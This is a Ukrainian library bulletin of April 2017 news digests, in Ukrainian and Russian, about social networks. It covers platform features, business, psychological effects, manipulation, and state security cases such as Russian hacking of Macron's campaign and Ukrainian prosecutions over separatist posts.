

СОЦІАЛЬНІ МЕРЕЖІ ЯК ЧИННИК ІНФОРМАЦІЙНОЇ БЕЗПЕКИ

*Огляд інтернет-ресурсів
(12.04–25.04)*

2017 № 8

Соціальні мережі як чинник інформаційної безпеки

**Інформаційно-аналітичний бюлетень
Додаток до журналу «Україна: події, факти, коментарі»**

Огляд інтернет-ресурсів

(12.04–25.04)

№ 8

Засновники:

Національна бібліотека України імені В. І. Вернадського
Служба інформаційно-аналітичного забезпечення
органів державної влади (СІАЗ)

Відповідальний редактор

Л. Чуприна, канд. наук із соц. комунікацій

Упорядник

І. Терещенко

Заснований у 2011 році
Виходить двічі на місяць

© Національна бібліотека України
імені В. І. Вернадського, 2017

Київ 2017

ЗМІСТ

РОЗВИТОК І ПЕРСПЕКТИВИ СОЦІАЛЬНИХ МЕРЕЖ.....	4
СОЦІАЛЬНІ МЕРЕЖІ ЯК ВИЯВ ФОРМУВАННЯ ГРОМАДЯНСЬКОГО СУСПІЛЬСТВА.....	12
БІЗНЕС І СОЦІАЛЬНІ МЕРЕЖІ	13
СОЦІАЛЬНІ МЕРЕЖІ І ПРОБЛЕМИ СУСПІЛЬНОЇ БЕЗПЕКИ.....	16
Інформаційно-психологічний вплив мережевого спілкування на особистість.....	16
Маніпулятивні технології	18
Спецслужби і технології «соціального контролю»	20
Проблема захисту даних. DDOS та вірусні атаки	23
ДОДАТКИ.....	31

Орфографія та стилістика матеріалів – авторські

РОЗВИТОК І ПЕРСПЕКТИВИ СОЦІАЛЬНИХ МЕРЕЖ

12.04.2017

Анна Сологуб

Как украинский SoftServe перешел на корпоративную версию Workplace от Facebook и что из этого получилось

Впервые о том, что социальная сеть ведет разработку корпоративного варианта, которым могли бы пользоваться компании, стало известно в конце 2015 года. О процессе запуска и показателях новой платформы рассказала Анна Сологуб, HR Marketing Director SoftServe.

[Подробнее](#)

12.04.2017

«ВКонтакте» запустила прямые видеотрансляции для всех пользователей

Социальная сеть «ВКонтакте» запустила прямые видеотрансляции для всех пользователей и групп, сообщается на сайте соцсети. ([Зеркало недели. Украина](#)).

В соцсети появилась инструкция, как запустить трансляцию с помощью программного обеспечения.

Пользователям также будет доступна система пожертвований: с ее помощью авторы трансляций будут зарабатывать через платные сообщения от зрителей трансляции.

«Сервис поможет пользователям в реальном времени делиться видео с экрана компьютера, внешней камеры или игры, проводить репортажи с использованием профессиональной техники, организовывать круглосуточные эфиры телеканалов и радиостанций», – отметили «ВКонтакте».

12.04.2017

Выпущена финальная версия универсального приложения Skype для Windows 10

Когда Microsoft в прошлом году выпустила обновление Windows 10 Anniversary Update, там было представлено незаконченное приложение Skype Preview, где не хватало множества имеющихся в классической версии программы для рабочего стола функций.

Через девять месяцев после появления Windows 10 Anniversary Update Microsoft начала распространять обновление Windows 10 Creators Update.

[Подробнее](#)

13.04.2017

Instagram объединила исчезающие и постоянные сообщения

Instagram упростила систему коммуникации, объединив исчезающие сообщения с постоянными. Раньше два типа сообщений отображались в разных подразделах Instagram Direct: исчезающие находились в верхней части экрана, стандартные – снизу.

[Подробнее](#)

18.04.2017

Google меняет интерфейс свёрнутых видео в Android-версии YouTube

Google продолжает работу над интерфейсом YouTube для Android. На прошлой неделе пользователи заметили переименованные пункты меню и их новое расположение, а в версии 12.13.53 они обнаружили, что видео сворачиваются в полосу проигрывателя в нижней части дисплея. На этой панели есть кнопки воспроизведения и паузы, перемотки и закрытия. Во время просмотра видео при этом демонстрируется красная полоса проигрывателя (IToboz.com).

18.04.2017

В «Одноклассниках» теперь можно редактировать опубликованные ссылки

В социальной сети «Одноклассники» появилась возможность редактировать опубликованные ссылки. Пользователь сможет на свой вкус изменить размер картинки, описание и заголовок статьи ([Grifonsoft](#)).

Разработчики сайта «Одноклассники» ввели в эксплуатацию новую функцию для редактирования публикаций. Теперь пользователи социальной сети смогут изменить автоматически загружаемую при вставке информацию со стороннего ресурса в своем посте. Для того, чтобы обрезать картинку нужно нажать на пиктограмму фотоаппарата, возникающую при наведении курсора мыши на изображение. А редактирования текста и заголовка включается при одном щелчке в желаемой области.

Также разработчики «Одноклассников» внедрили функцию замены картинок. Правда поменять изображение можно только на то, которое хранится на жестком диске компьютера. Можно опубликовать ссылку вообще без картинки. Для этого достаточно нажать «крестик».

Єдинственне, що не піддається редагуванню – сама посилка на сторонній ресурс. «Нововведення сподобаються тим користувачам, які люблять ділитися з друзями цікавими статтями з інших джерел», – заявляють «Однокласники».

18.04.2017

Google Merchant Center підтримує доступ групи користувачів до одного облікового запису

Інженери ресурса Google ввели можливість присутності ряду користувачів в одному обліковому записі. Тим, хто керує сайтом за допомогою Search Console, потрібно зареєструвати заявлених осіб, пропонується два статуси в розділах «Стандартні» і «Адміністрування» ([Grifonsoft](#)).

Віртуальний Google Merchant Center отримав функцію одночасного доступу кількох користувачів Сеті до одного облікового запису. Згідно з релізом, для обмеження можливості осіб, які хочуть увійти в обліковий запис, їм необхідно присвоїти статуси, для цього потрібно поставити прапорці в відповідному переліку. Пропонується два основних варіанти.

В стандартній версії доступ до Google Merchant Center забезпечується входом до всіх розділів облікового запису, крім вкладки під назвою «Користувачі» в секторі «Адміністрування», являючись другою версією функції. Повноваження статусу в розділі «Стандартні» переносяться з одночасною можливістю видалення, додавання або зміни ролі на вкладку «Користувачі».

19.04.2017

Facebook посилює контроль за користувачами

Керівництво соціальної мережі планує посилювати контроль за контентом після вбивства в США ([Знай.юа](#)).

У Facebook повідомили, що планують удосконалити процес контролю публікацій постів користувачів.

Причиною зміни роботи адміністрації соціальної мережі стала трансляція вбивства 74-річного чоловіка. Американець Стівен Стівенсон опублікував ролик з прямою трансляцією вбивства. Відео пробуло на сайті впродовж двох годин, після чого його заблокували.

Зазначається, що перед цим вбивця публікував ролик, де він заявляє, що має намір вбити людину.

Одразу після оприлюднення трансляції злочину вбивця опублікував відео, де він зізнається у скоєному.

20.04.2017

F8: что ждет социальную сеть Facebook в будущем

18 апреля в Сан-Хосе началась F8 – конференция Facebook для разработчиков. Несмотря на то, что она носит скорее технический характер, Цукерберг рассказал и о переменах, которые произойдут с главной социальной сетью в мире.

[Подробнее](#)

20.04.2017

Facebook працює над тим, щоб читати наші думки

Команда Facebook повідомляє, що розглядає можливість розробки технології, що читатиме мозкові хвилі так, що не треба дивитися на телефон, щоб набрати електронну пошту, а достатньо буде подумати ([Західна інформаційна корпорація](#)).

Facebook зібрав команду з 60 людей, щоб створити таку систему. Компанія у даний час шукає інженера з нейрон-комп'ютерного інтерфейсу та нейронного інженера з візуалізації. Мета полягає у створенні системи, здатної набирати сто слів за хвилину подумки – це у п'ять разів швидше, ніж ви можете друкувати на смартфон, – інформує видання The Independent.

Facebook повинен розробити систему, яка не вимагатиме хірургічного втручання для імплантації електродів.

Замість цього, Facebook планує розробити неінвазивні датчики, які зможуть виміряти сотні активностей мозку у секунду з високою роздільною здатністю, щоб декодувати сигнали мозку, пов'язані з мовою у режимі реального часу. Наразі у світі не існує нічого подібного.

Facebook розглядає можливість використання оптичної візуалізації (лазерів для відображення змін у властивостях нейронів), щоб підбирати слова прямо з нашого мозку, перш ніж ми промовимо їх. Якщо ці сигнали будуть зчитані, вони можуть бути передані мовчки іншим людям.

19.04.2017

Instagram сможет работать без подключения к сети

Руководство Facebook заявило о решении выпустить обновление приложения Instagram, которое позволит использовать большинство функций без необходимости подключения к сети ([Finance.Ua](#)).

Дело в том, что 80 % из аудитории в 600 млн человек – находятся за пределами США. И далеко не все – в странах с качественным интернетом. Именно для таких пользователей Instagram дает возможность работать с приложением без постоянного подключения к сети.

Как сообщается, пользователь сможет ставить лайки, писать комментарии, сохранять фотографии, подписываться и отписываться от других людей и просматривать загруженный ранее контент без интернета. Вместе со следующим подключением все его действия будут активированы.

Начнут с версии для Android, так как функция направлена в первую очередь на развивающиеся страны, где операционная система iOS не пользуется такой популярностью. Обновить приложение для iPhone обещают немного позже.

20.04.2017

В Facebook будет музыка

Через приложение Facebook Messenger можно будет делиться музыкальными композициями. Пользователи смогут отправлять их через личные сообщения. Когда сервис станет доступен – пока неизвестно ([Finance.Ua](#)).

Сообщают, что Facebook и Apple уже работали вместе над интеграцией музыки. В частности, песни из Apple Music могут быть встроены в ленту новостей. Это позволит пользователям искать треки Apple Music внутри Messenger, находить песню и отправлять ее в свой чат. Потом каждый сможет воспроизвести песню, не покидая Messenger.

20.04.2017

«ВКонтакте» поменяла принцип работы статуса Online и лишила Павла Дурова вечной «невидимки»

Социальная сеть «ВКонтакте» изменила принцип оценки статуса пользователя. Теперь выходящие из сети сразу попадают в офлайн, а не сохраняют статус Online на протяжении 15 минут. Об этом сообщает издание TJournal ([InternetUA](#)).

Как пояснили во «ВКонтакте», это изменение связано с тем, что в соцсети переписали систему статусов. Ранее система работала некорректно, из-за чего пользователи могли видеть 15-минутный лаг. Теперь при выходе статус «Был в сети» показывает дату последнего посещения без задержки – в точности до секунд.

Несколько дней назад на странице Павла Дурова стало снова отображаться время последнего посещения. «Дурову [невидимку] возвращать не будем», – пояснил изданию пресс-секретарь соцсети.

20.04.2017

Пользователи начали массово удалять популярное приложение

Владельцы мобильных устройств в Индии принялись массово удалять приложение Snapchat. Об этом стало известно в конце минувшей недели, когда хэштег #UninstallSnapchat набрал популярность в Twitter ([InternetUA](#)).

Поводом для того, чтобы избавиться от популярного мобильного приложения, стало заявление главы Snapchat Эвана Шпигеля, сделанное им еще в 2015 году.

Онлайн-издание опубликовало материал, в котором приводится цитата из заявления Шпигеля: «Мы не собираемся расширяться в бедных странах типа Индии или Испании».

В ответ на это жители Индии начали избавляться от Snapchat и публиковать язвительные реплики в адрес Шпигеля в Twitter.

20.04.2017

Павел Красномовец

Facebook против Snapchat: почему соцсеть копирует функции и к чему это приведет

Почти четыре года назад популярный среди подростков мессенджер Snapchat отверг предложение Марка Цукерберга о покупке за \$3 млрд. Долгое время у этого не было никаких видимых последствий, но за последний год Facebook откровенно скопировал несколько изобретенных Snapchat форматов. Какова природа этого «воровства» и какую проблему предстоит решить недавно вышедшей на биржу компании, описал в своем блоге партнер венчурного фонда Andreessen Horowitz Бенедикт Эванс.

[Подробнее](#)

21.04.2017

Facebook разрабатывает интерфейс для глухих людей

Facebook научит глухих людей «слышать» кожей ([IToboz.com](#)).

Подразделение Facebook разрабатывает специальный интерфейс, который в будущем позволит не только управлять компьютером при помощи силы мысли, но и слышать почти все звуки посредством вибрации кожного покрова. По словам специалистов компании, инновация будет готова к первым тестированиям к концу года. Прибор получил название Building 8. О его разработке сообщил в минувшем году сам Марк Цукерберг. Он отметил, что некоторые разработки будут проводиться совместно с компанией Google, которая изъявила желание также принять участие в проекте. В настоящее время в программе задействовано более шестидесяти человек.

23.04.2017

Социальные сети выходят из моды

Владимир Стус

Сравнительно давно сделал прогноз о том, что социальные сети сейчас находятся на пике своей популярности и в будущем следует ожидать их выхода из моды.

[Подробнее](#)

25.04.2017

Социальная сеть LinkedIn набрала 500 миллионов пользователей

Пару дней назад социальная сеть LinkedIn заявила о преодолении новой серьезной отметки: в ней зарегистрировался 500-миллионный пользователь.

LinkedIn постоянно показывает хороший рост пользовательской базы, за последние 9 месяцев они смогли привлечь 50 миллионов новых пользователей. К примеру, отметку в 400 миллионов сеть профессиональных контактов достигла в конце 2015 года. Конечно, эта цифра далека от Facebook, где количество зарегистрированных пользователей подбирается к 2 миллиардам человек ([Технофан](#)).

Чем же еще может похвастаться LinkedIn: там сейчас зарегистрировано около 9 миллионов компаний, а активных вакансий насчитывается более 10 миллионов. В месяц в социальной сети публикуют порядка 500 000 статей профессиональной тематики.

24.04.2017

Facebook создает вертолет для раздачи Wi-Fi в зонах катастрофы

Наталия Ключева

Facebook анонсировали появление проекта под названием Tether-tenna technology. Это дрон, который сможет раздавать бесплатный Wi-Fi всем, кто оказался в зоне катастрофы и не имеет доступа к сети. Об этом сообщили представители компании на конференции F8, пишет Recode ([podrobnosti.ua](#)).

Вертолет по размерам напоминает Volkswagen Beetle и многие его называют не вертолетом, а скорее дроном.

«Вертолет-дрон будет связываться с источником питания на земле, что позволит ему висеть в воздухе как минимум пару суток. Сейчас в Facebook работают над увеличением этого показателя до недель», – говорится в сообщении.

На данный момент Tether-tenna находится в тестовом режиме и о ее реальном использовании речь не идет.

23.04.2017

Илья Кабачинский

«Мы не Facebook или Instagram»: сервис Pinterest убрал кнопку Like

Представители Pinterest 22 апреля сообщили о том, что сервис отказывается от кнопки Like. Это сделано для популяризации другого важного элемента сервиса – кнопки Pin, отметили в Recode. Все пользователи получат обновление в ближайшие недели.

[Подробнее](#)

24.04.2017

Twitter тестирует модуль с рекомендованными новостями в ленте

В Twitter могут начать отображаться сообщения и события, которые соответствуют интересам пользователя. Компания подтвердила, что экспериментирует с модулем «рекомендованного чтения» в ленте, в котором появляются релевантные новости. Когда состоится полноценный релиз нововведения, не сообщается ([InternetUA](#)).

На протяжении более чем двух лет Twitter показывала в ленте модуль с твитами, которые пользователь мог случайно пропустить. Также сервис начал рекомендовать людей, на которых человек может захотеть подписаться. Периодически пользователи получали ссылки на интересные новости, однако в целом эти нововведения предлагали почитать кого-то, а не что-то.

В тестируемом модуле большее внимание будет уделяться контенту и его актуальности для конкретного человека. Можно предположить, что все вышеописанные функции будут каким-то образом перекликаться с «рекомендованным чтением».

25.04.2017

«Мессенджер ВКонтакте» стал доступен для Linux

Социальная сеть «ВКонтакте» объявила о выпуске обновлённой версии собственного мессенджера, который теперь доступен не только для платформ Windows и macOS, но и для операционных систем с ядром Linux ([IToboz.com](#)).

Разработчики «Мессенджера ВКонтакте» устранили обнаруженные ошибки и баги. Кроме того, добавлен ряд улучшений. В частности, реализован «компактный» режим: мессенджер можно уменьшить настолько, что его будет удобно использовать одновременно с другой программой даже на мониторе с небольшой диагональю. Голосовые сообщения можно перематывать и слушать перед отправкой. Воспроизведение следующего послания включается автоматически. Голосовое сообщение больше не пропадёт, если попробовать

сменить вкладку диалога в момент записи. Кроме того, говорится о возможности восстанавливать удалённые по ошибке сообщения, а также о поддержке прокси.

25.04.2017

ICQ начала работу с новой интеграционной системой IFTTT

Популярная и одна из самых старых служб по обмену электронными сообщениями между пользователями под названием ICQ начала работу с новой интеграционной системой IFTTT. Об этом сообщили разработчики ICQ (HiTech-News.ru).

Теперь пользователи известного файлообменника ICQ смогут интегрировать свои новости в различные социальные сети. Такой шаг был сделан для более удобного и комфортного пользования программой.

На данном этапе возможна интеграция публикаций с такими социальными сетями как Instagram, Facebook, Twitter, Medium, Tumblr и так далее. Так как в системе находится IFTTT более 400 приложений, пользователи смогут создавать собственные шаблонные сообщения для увеличения скорости публикации.

Для входа в эту систему, необходимо зарегистрироваться и авторизоваться в системе IFTTT.

СОЦІАЛЬНІ МЕРЕЖІ ЯК ВИЯВ ФОРМУВАННЯ ГРОМАДЯНСЬКОГО СУСПІЛЬСТВА

20.04.2017

Новий флеш-моб на підтримку Поліни Малоштан шириться в соцмережах

Користувачі соціальних мереж розпочали акцію на підтримку 14-річної дівчини, яку 2 квітня побили агресивні однолітки у Чернігові ([Високий вал](#)).

Учасники флеш-мобу поширюють у себе на сторінках фото з текстом «Я підтримую Поліну Малоштан, яку побили дівчата-підлітки в Чернігові. #MALOSHTAN. Ми з тобою та за тебе».

Разом з тим прикріплений хештег #MALOSHTAN.

24.04.2017

Эксперты утверждают, что Facebook помогает в борьбе с коррупцией

Социальная сеть Facebook – эффективное средство для борьбы с коррупцией правительства там, где нет свободы прессы, считают исследователи экономики. Таковым он является благодаря возможности открыто обмениваться информацией. Выводы были опубликованы в журнале *Information Economics and Policy* (GoGetNews.info).

Анализ информации о 150 странах показал, что чем активнее граждане пользуются соцсетью, тем больше вероятность протестных реакций в ответ на коррупцию в правительстве. В исследовании учитывались экономические, культурные и политические факторы. Основная часть антикоррупционного контента, отмечается в исследовании, создается самими пользователями.

Кроме того, в отличие от телевидения и печатной прессы, Facebook дает пользователям возможность в реальном времени обсудить полученную информацию, в том числе и с автором текста.

Автор исследования считает, что результаты показывают важность свободного доступа к интернету, который во многих странах пытаются ограничить. Социальные сети обеспечивают возможность быстрого и дешевого обмена информацией и возможность обратиться к широкой аудитории для организации публичного протеста.

БІЗНЕС І СОЦІАЛЬНІ МЕРЕЖІ

12.04.2017

Facebook запустил групповые денежные переводы в приложении Messenger

Социальная сеть Facebook запустила функцию денежных переводов в своем приложении Messenger, разрешив осуществлять платежи, в которых одновременно могут участвовать несколько человек ([БизнесЦензор](#)).

Чтобы воспользоваться функцией, нужно привязать к учетной записи Facebook банковскую карту, которая будет использоваться для отправки и получения денежных средств. Для защиты можно использовать PIN-код или сканер отпечатков пальцев устройства.

После этого, находясь в групповом чате Messenger, нужно будет лишь нажать на иконку Payments, выбрать людей, которым нужно отправить деньги или выставить счет, ввести нужную сумму, добавить сопроводительный текст и совершить транзакцию.

Запрашивая определенную сумму у группы друзей, можно указать конкретную сумму по каждому человеку, либо ввести общую сумму и приложение распределит ее равными частями между всеми участниками сделки. Более того, есть возможность отслеживания состояния оплаты по каждому «дебитору».

При этом операции перевода и получения средств будут проводиться без комиссии, то есть бесплатно для всех участников процесса.

Функция будет доступна как на iOS, так и на Android, но пока только в США.

13.04.2017

Число рекламодателей в Facebook превысило 5 миллионов

Пресс-служба Facebook сообщает, что число компаний, активно использующих рекламу в социальной сети, превысило 5 миллионов ([МедиаБизнес](#)).

Компании малого и среднего бизнеса используют инструменты Facebook, Instagram и Messenger для продвижения своих брендов.

В своем заявлении компания подчеркивает, что стремится помогать сообществам и предприятиям малого и среднего бизнеса по всему миру развиваться с помощью ее рекламных инструментов.

Число рекламодателей в Facebook превысило 5 миллионов. Почти 50 % из этих 5 миллионов рекламодателей размещают рекламу на мобильных устройствах. Около 75 % из 5 миллионов компаний находятся за пределами США.

Три основных типа рекламодателей в Facebook – электронная торговля, развлечения и медиа, а также розничная торговля. По применению рекламных инструментов Facebook самыми динамично развивающимися странами оказались Индия, Таиланд, Бразилия, Мексика и Аргентина. Топ-5 стран с самым активным ростом в ежегодном исчислении: США, Бразилия, Таиланд, Мексика, Великобритания.

12.04.2017

Ірина Коркішко

Viber представив 4 формати медійної реклами

Viber розширює можливості взаємодії брендів з аудиторією і обіцяє відеорекламу для десктопу, аудіостікери та шопінг всередині чатів. Про це йдеться в офіційному прес-релізі компанії ([Watcher](#)).

Viber запропонував декілька нових рекламних форматів, що зможуть допомогти брендам стати ближче до своєї аудиторії. На сьогодні сервісом користуються більше 20 мільйонів Українців і близько 800 мільйонів користувачів по всьому світу.

Тепер брендам доступні 4 формати медійної реклами:

1. Реклама після дзвінка на мобільному;
2. Банери для десктопної версії Viber у форматі 300×250 та 300×50;
3. Реклама після завантаження стікерів;

4. Відеореклама для десктопної версії Viber у форматі 300×250.

25.04.2017

Экономика Facebook, Instagram, WhatsApp: выигрывают только миллиардеры

Экономика Facebook, Instagram, WhatsApp: выигрывают только миллиардеры. Американский гик Эндрю Кин описывает, как соцсети эксплуатируют весь мир.

[Подробнее](#)

25.04.2017

The Guardian відмовилась від використання Facebook Instant Articles та Apple News

Британська газета The Guardian припинила викладати свій контент через Facebook Instant Articles та Apple News ([Media Sapiens](#)).

Газета почала експериментувати з цими сервісами в 2015 році. The Guardian перетворювала в Instant Articles всі свої статті та викладала свій контент в агрегатор Apple News. Видання розраховувало в рамках цього експерименту досягнути показника в один мільйон платних підписників у 2019 році, пише Digiday. Однак, поки газета зібрала 200 тисяч регулярних підписників і 100 тисяч одноразових пожертвувальників.

Представник The Guardian розповів, що газета широко тестувала можливості, які пропонують Facebook Instant Articles та Apple News, та наскільки вони відповідають редакційним і комерційним цілям видання. «Проаналізувавши отримані результати, ми вирішили припинити публікацію в цих форматах на обох платформах», – зазначив він.

Водночас The Guardian не припинила працювати з Google AMP, через який приходиться 60 % мобільного Google-трафіку газети.

25.04.2017

Facebook будет платить создателям видеоконтента

Соцсеть Facebook собирается платить издателям за созданный ими видеоконтент, сообщает Adindex.ru ([Телекритика](#)).

При этом соцсеть выдвигает несколько условий: обычный ролик должен длиться не меньше 90 секунд, а live-видео – не меньше шести минут. Это связано с тем, что Facebook будет добавлять в ролики mid-roll-рекламу.

45 % от вырученных средств соцсеть заберет себе, а 55 % получат издатели.

24.04.2017

«ВКонтакте» и «Одноклассники» станут партнерами интернет сообществ

«ВКонтакте» и «Одноклассники» поделятся рекламными доходами с производителями уникального контента: СМИ, новыми медиа, видеоканалами, блогерами и крупными пабликами ([МедиаБизнес](#)).

Соцсети начали тестировать партнерскую программу, к которой подключились некоторые категории сообществ. В дальнейшем попробовать новую систему монетизации смогут все группы, соответствующие регламенту.

«Некоторые группы уже стали новыми медиа, их охват сопоставим с традиционными СМИ. Партнерская программа позволит группам получать дополнительный доход прямо от социальной сети. Повышение эффективности рекламы за счет показа персонализированного сообщения, а не одного поста для всех подписчиков группы, позволит снизить рекламную нагрузку на пользователя и повысить качество контента в ленте социальной сети», – говорит Семен Боярский, менеджер по развитию бизнеса проекта «Одноклассники».

Директор по маркетингу «ВКонтакте» Александр Круглов заявляет, что компания нацелена на построение долгосрочного сотрудничества с сообществами. «Партнерка» облегчит решение организационных вопросов, и администраторы смогут полноценно заниматься созданием контента, общением с подписчиками и развитием сообществ. Кроме того, исчезнут риски блокировок из-за некачественной рекламы.

СОЦІАЛЬНІ МЕРЕЖІ І ПРОБЛЕМИ СУСПІЛЬНОЇ БЕЗПЕКИ

**Інформаційно-психологічний вплив мережевого спілкування
на особистість**

12.04.2017

**Як соціальні мережі виявляють психологічні потреби особистості
Валерія Цихоня, практикуючий психолог**

За якихось неповних 20 років людство перейшло на новий формат спілкування та передачі інформації. Це має свої зручності, але часто в новому контексті знаходять своє втілення й індивідуальні психологічні проблеми.

[Докладніше](#)

13.04.2017

Вчені розповіли, що Facebook впливає на психічне здоров'я

У середньому людина проводить у соціальній мережі близько 1 години.

Науковці з Каліфорнії провели дослідження щодо впливу соціальних мереж на психічний стан здоров'я користувачів (Gazeta.ua).

Дослідження показали, що використання Facebook може призвести до сидячого способу життя і підірвати відчуття власної гідності, пише Harvard Business Review.

Протягом 2 років досліджень опитали 5208 дорослих людей. Сподівались побачити, як змінюється добробут за час користування соцмережі.

До уваги брали задоволеність життям і самооцінку психічного та фізичного здоров'я.

В той час як реальні соціальні комунікації позитивно відображаються на благополуччі, використання Facebook негативно впливає на показники психічного здоров'я користувачів.

Оскільки користувачі Facebook схильні висвітлювати тільки позитивні аспекти свого життя, індивідуум може замислитись над тим, що його життя не таке яскраве, як в інших.

12.04.2017

Приклеенные к смартфонам: инсайты о mobile-first мышлении поколения Z

Подростки в США проводят, по крайней мере, три часа в день, просматривая видео на мобильных девайсах, сообщает новое исследование Google. Согласно данным, приблизительно у восьми из десяти представителей поколения Z есть смартфон и они проводят на нем много времени.

Более половины из них (51%) тратит три или более часов в день на социальные сети, а 52% проводят столько же времени в приложениях. Четверо из десяти тратят это же время на игры, 71% – на просмотр видео. Более трети представителей этого поколения отметили, что любят смотреть Netflix на смартфонах (37%).

26% смотрят видео на YouTube, а 25% – кабельное ТВ (Marketing Media Review).

13.04.2017

Сестра избитой школьницы рассказала о группах жестоких драк в соцсетях

Жестокая драка школьниц в Чернигове, которая потрясла всю Украину, до сих пор является одной из главных тем обсуждения в стране. У девушек, которые избивали школьницу, есть как противники, так и защитники.

Уполномоченный Президента Украины по правам ребенка Николай Кулеба рассказал о популярности жестоких сообществ в соцсетях.

[Подробнее](#)

Маніпулятивні технології

18.04.2017

Перед выборами во Франции Facebook закрыл 30 тысяч фейковых аккаунтов

Социальная сеть Facebook закрыла около 30 000 фальшивых аккаунтов, которые распространяли фейковые новости накануне президентских выборов во Франции. Об этом сообщает Huffington Post ([ZN.UA](#)).

Отмечается, что Facebook применяет автоматизированные механизмы для отсеивания фейков, фиксируя их повторения на сотнях фальшивых сайтов. «Хотя эти последние усовершенствования не приведут к удалению каждого фейкового аккаунта, мы стремимся к постоянному повышению нашей результативности», – сообщил технический менеджер Facebook Шабнем Шайк. Утверждается, что компания работает над разработкой рекламных объявлений с инструкциями определения ненадежных сайтов.

25.04.2017

Выборы у Франции: российские хакеры 160 раз атаковали серверы штаба Макрона, - ЗМІ

Российские киберзлочинцы здійснили близько 160 атак на серверы штабу кандидата в президенти Франції Еммануеля Макрона ([Espresso.tv](#)).

Про це повідомляє Associated Press з посиланням на дослідження японської компанії Trend Micro, що займається протидією кіберзлочинності.

За даними Trend Micro, атаки здійснювали хакери групи Pawn Storm («Пішаковий Штурм»), яку пов'язують з Головним управлінням розвідки Росії. Одним із свідчень кібератак стало створення фейкового сайту для збору паролів співробітників виборчої кампанії Макрона, що працював упродовж кількох місяців.

Водночасчас офіційні особи у Франції поки що не називають відповідальних за атаками.

25.04.2017

В Україні суди винесли шість вироків за заклики до держперевороту в соцмережах

В Україні суди винесли шість вироків за фактом розміщення в соціальних мережах постів із закликами до повалення конституційного ладу. Про це повідомив заступник міністра інформаційної політики України Дмитро Золотухін ([InternetUA](#)).

«У реєстрі судових рішень я бачив шість вироків судової влади стосовно засудження осіб безпосередньо за пости “ВКонтакте”. Дійсно, там є склад злочину, дійсно, в цих постах є заклики до повалення конституційного ладу», – наголосив Золотухін.

Він також зазначив, що всі ці рішення суду «пов’язані між собою». За його словами, одним із аспектів цих рішень є те, що обвинувачений визнає свою провину, «можливо, підписує мирову угоду, отримує умовний термін».

Золотухін вважає, що «цю сферу треба дорегулювати – спільно з громадськістю треба створити відповідні механізми, які зможуть бути використані правоохоронними органами для того, щоб просто виконувати вже наявні закони, які діють в Україні, зокрема Кримінальний кодекс».

25.04.2017

Засновник Wikipedia запустить проект Wikitribune для боротьби з фейками

Засновник інтерактивної енциклопедії Wikipedia Джиммі Вейлз (Jimmy Wales) анонсував створення нового проекту Wikitribune ([detector.media](#)).

Для запуску Wikitribune Джиммі Вейлз планує зібрати кошти за допомогою краудфандингу. За рахунок зібраних грошей платформа найматиме професійних журналістів та доповнить команду через залучення волонтерів. Фінансові донори матимуть право голосу у виборі тем, які висвітлюватиме Wikitribune. Водночас спільнота читачів матиме змогу проводити фактчекінг та редагувати тексти на сайті. Сам Джиммі Вейлз описав ідею свого проекту як «новини, створені людьми і для людей».

«Це буде перший випадок, коли професійні та громадські журналісти працюватимуть пліч-о-пліч, на рівних, писатимуть історії та редагуватимуть їх наживо, за підтримки спільноти фактчекерів», – прокоментував Джиммі Вейлз.

Якщо кампанія зі збору коштів буде вдалою, Вейлз сподівається найняти перших журналістів для сайту «якомога швидше», – можливо, до 8 червня, коли у Великобританії відбудуться дострокові парламентські вибори. І хоча запуск Wikitribune прив’язаний до політичних подій у Великобританії, ініціатор проекту розповів, що стимул для його створення прийшов зі США.

Спецслужби і технології «соціального контролю»

12.04.2017

О запрете Facebook в России. Конфликт радикализируется Евгений Титов

О запрете Facebook в РФ. С такой инициативой выступил питерский депутат Милонов. Но возможно, тут работает целое аналитическое учреждение.

[Подробнее](#)

14.04.2017

Директор ЦРУ назвал Wikileaks вражеской службой, яку використовує Росія

Директор Центрального розвідувального управління США Майк Помпео розкритикував організацію Wikileaks і назвав її ворожою службою, яку використовує російська військова розвідка ([LB.ua](#)).

Про це він заявив, виступаючи в Центрі стратегічних і міжнародних досліджень у Вашингтоні, пише The Hill.

Відзначається, що у своїх висловлюваннях Помпео повторив думку більшості законодавців і політиків США про WikiLeaks і її засновника Джуліана Ассанжа.

Помпео нагадав січневий звіт американської розвідки про те, що під час передвиборної кампанії США торік організація проникла в електронну пошту посадових осіб Демократичної партії і керівника кампанії кандидата в президенти Гіллари Клінтон.

Зі звіту випливає, що Головне управління Генштабу Росії (колишнє ГРУ) використовувало WikiLeaks для поширення викрадених листів демократів, щоб вплинути на вибори в США. Крім того, наголошується, що російські державні ЗМІ, зокрема телеканал RT, активно співпрацювали з WikiLeaks.

12.04.2017

Арестованный топ-менеджер «Лаборатории Касперского» рассказал о вербовке российскими властями киберпреступников

Топ-менеджер «Лаборатории Касперского» Руслан Стоянов, которого держат в московском СИЗО по подозрению в госизмене, заявил, что российские власти вербуют кибермошенников для выполнения государственных задач ([LB.ua](#)).

В качестве «оплаты» им предлагается защита от внимания спецслужб, пишет «Дождь» со ссылкой на письма Стоянова.

«В последнее время появились свидетельства “опатриочивания” русскоговорящей киберпреступности, попыток договориться между кибермошенниками и госчиновниками. Суть сделки – государство получает доступ к технологиям и информации “киберворов” в обмен на разрешение безнаказанно воровать за рубежом», – описывает сотрудничество Стоянов.

В другом своем письме он предупреждает об опасности такого партнерства.

17.04.2017

В Египте введут абонентскую плату за пользование Facebook Ирина Ганах

Египетский парламент намерен рассмотреть законопроект об установлении ежемесячной абонентской платы в размере 5 египетских фунтов (0,25 долл.) за пользование социальной сетью Facebook. Об этом сообщает Egypt Independent (podrobnosti.ua).

По его словам депутата от Партии свободных египтян Рияда Абдель Саттара, соответствующий законопроект позволит правительству предотвратить использование Facebook в качестве площадки для разжигания ненависти и насилия, а также продвижения экстремистских идей.

Кроме этого, принятие документа позволит осуществлять мониторинг за пользователями в соцсети.

Как отмечает издание, документ вызвал резко негативную реакцию общественности.

15.04.2017

Сепаратист-рецидивіст із Кіровоградщини закликав до створення «Новоросії»

На Кіровоградщині СБУ затримала агітатора «руського міра», який вже раніше був засуджений за антиукраїнську пропаганду. Адміністратор однієї із спільнот в соціальній мережі російського походження вів антиукраїнську пропаганду, зокрема закликав до збройного протистояння з правоохоронними органами (Persha.kr.ua).

Житель Олександрії раніше вже був засуджений за заклики до повалення конституційного ладу. Агітував за це у соцмережах. За антидержавницьку діяльність у 2015-му він отримав чотири роки ув'язнення із іспитовим терміном у три роки.

Однак одразу після вироку чоловік взявся за старе. Був адміністратором групи «Єлисаветград – Кіровоград – Новоросія» і закликав жителів центральної України до масових заворушень. Тепер підозрюваний навряд чи відбудеться умовним покаранням.

